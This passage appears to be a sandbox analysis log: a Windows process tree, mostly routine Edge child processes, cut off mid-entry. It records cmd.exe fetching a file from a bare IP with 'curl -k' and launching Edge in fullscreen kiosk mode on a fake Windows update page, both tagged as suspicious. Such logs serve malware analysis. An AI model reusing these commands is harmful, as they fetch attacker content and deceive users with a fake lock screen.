  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5876,i,6687264268316391775,16278345280358839028,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:1
  2⤵
  PID:936
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,4735241745367943274,4381160420263842180,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:8
  2⤵
  PID:380
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,4735241745367943274,4381160420263842180,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:8
  2⤵
  PID:3176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6408,i,8202402095617145976,18404815426347990400,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:1
  2⤵
  PID:4104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6584,i,17962760407805825688,12071363569476068059,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:8
  2⤵
  PID:3776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6580,i,169677070804647901,5503525683092906012,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:8
  2⤵
  PID:3276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,7179028884226788128,14592283216014117505,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:8
  2⤵
  PID:4596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6752,i,9647963510437125946,15070316548430315483,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:8
  2⤵
  PID:716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7040,i,4050298707716986168,3304247841331882018,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:8
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,13798313683642797691,11498521151650601986,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:8
  2⤵
  PID:1512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,16759959499273286243,267314803975619763,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:8
  2⤵
  PID:5300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6824,i,4560530041712048646,5736391001572194682,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:8
  2⤵
  PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7028,i,6725565524482230513,4156010442956441739,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:8
  2⤵
  PID:5364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=7128,i,14504065322254653367,4867571914314867012,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=7160 /prefetch:1
  2⤵
  PID:6408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2980,i,11912504715642613476,11862711873190193312,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=3992 /prefetch:8
  2⤵
  PID:1188

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4580

C:\Windows\system32\cmd.exe
cmd /c curl -k http://68.211.161.46/validation.txt
1⤵
- Suspicious use of WriteProcessMemory
PID:5628
- C:\Windows\system32\curl.exe
  curl -k http://68.211.161.46/validation.txt
  2⤵
  PID:3448

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://fakeupdate.net/win10ue --edge-kiosk-type=fullscreen
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --edge-skip-compat-layer-relaunch https://fakeupdate.net/win10ue
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ff9dc3ac188,0x7ff9dc3ac194,0x7ff9dc3ac1a0
      4⤵
      PID:5840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1732,i,14683982998319385531,7169552841228711326,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:3
      4⤵
      System Time Discovery
      PID:4692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2304,i,3932842920505332573,17676128253170062923,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:8
      4⤵
      PID:728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1628,i,703327485844924276,6928606288994546071,262144 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:2
      4⤵
      PID:2484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3264,i,18096047558420362652,2179092445622610487,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:1
      4⤵
      PID:5212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3268,i,13914351804832040880,4211926587527432236,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:1
      4⤵
      PID:5220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3940,i,2025469345869319259,274493178651997949,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:8
      4⤵
      PID:5268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3944,i,7807812119963170734,7321325727482500881,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:8
      4⤵
      PID:5348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3948,i,15340974539560085849,6877276024458585241,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:8
      4⤵
      PID:5564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4016,i,10047755652849141008,6943272444468215852,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
      4⤵
      PID:5604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4040,i,12006820471357240057,6503709563309609636,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:2
      4⤵
      PID:5364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4084,i,7335621499893447161,544662553651429905,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:1
      4⤵
      PID:4980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4144,i,15561859972362956526,6921988853666625022,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:2
      4⤵
      PID:8
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4304,i,11126449534878827525,8255928521832853958,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:1
      4⤵
      PID:4004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4336,i,343075396690138479,5612783439818585062,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:2
      4⤵
      PID:5676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=4556,i,14517522636203507746,16555970600762051450,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4572 /prefetch:1
      4⤵
      PID:4884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=4568,i,16495465014634193518,3249667381319149930,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:2
      4⤵
      PID:6008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=5256,i,6909626697471476220,7016610750956794668,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:2
      4⤵
      PID:5124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=5268,i,16417310128867285322,9082702852505920433,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:2
      4⤵
      PID:3564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=5284,i,4078736904007022018,6441246938058432983,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:2
      4⤵
      PID:2564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=4836,i,14396715247025426150,12730948504558149936,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:2
      4⤵
      PID:2348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=5236,i,6404188039110238702,12697850210153080625,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:2
      4⤵
      PID:3660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=5460,i,9462087362988236013,5753611175022921722,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:1
      4⤵
      PID:7060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6964,i,13695159643410038564,6505326552593578328,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:8
      4⤵
      PID:4980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=4220,i,1992685479575487680,9350114961014743211,2097152 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:1
      4⤵
      PID:6004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7240,i,8936313523728311943,17094160013236614721,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7244 /prefetch:8
      4⤵
      PID:5040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7376,i,13216522861776920462,4718246648388802659,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7380 /prefetch:8
      4⤵
      PID:6136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7392,i,3828031103459946930,12318243689193110970,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7448 /prefetch:8
      4⤵
      PID:6908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7400,i,1701399907969665875,15361535752481865880,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7372 /prefetch:8
      4⤵
      PID:5660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7748,i,15493944606340863919,13241979272105057891,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7764 /prefetch:8
      4⤵
      PID:6436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7748,i,15493944606340863919,13241979272105057891,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7764 /prefetch:8
      4⤵
      PID:3236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7868,i,11834918076187529642,118703781778944584,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7872 /prefetch:8
      4⤵
      PID:7140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3452,i,13345738157112998080,17247973516785488711,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:8
      4⤵
      PID:7320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:7332
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
        
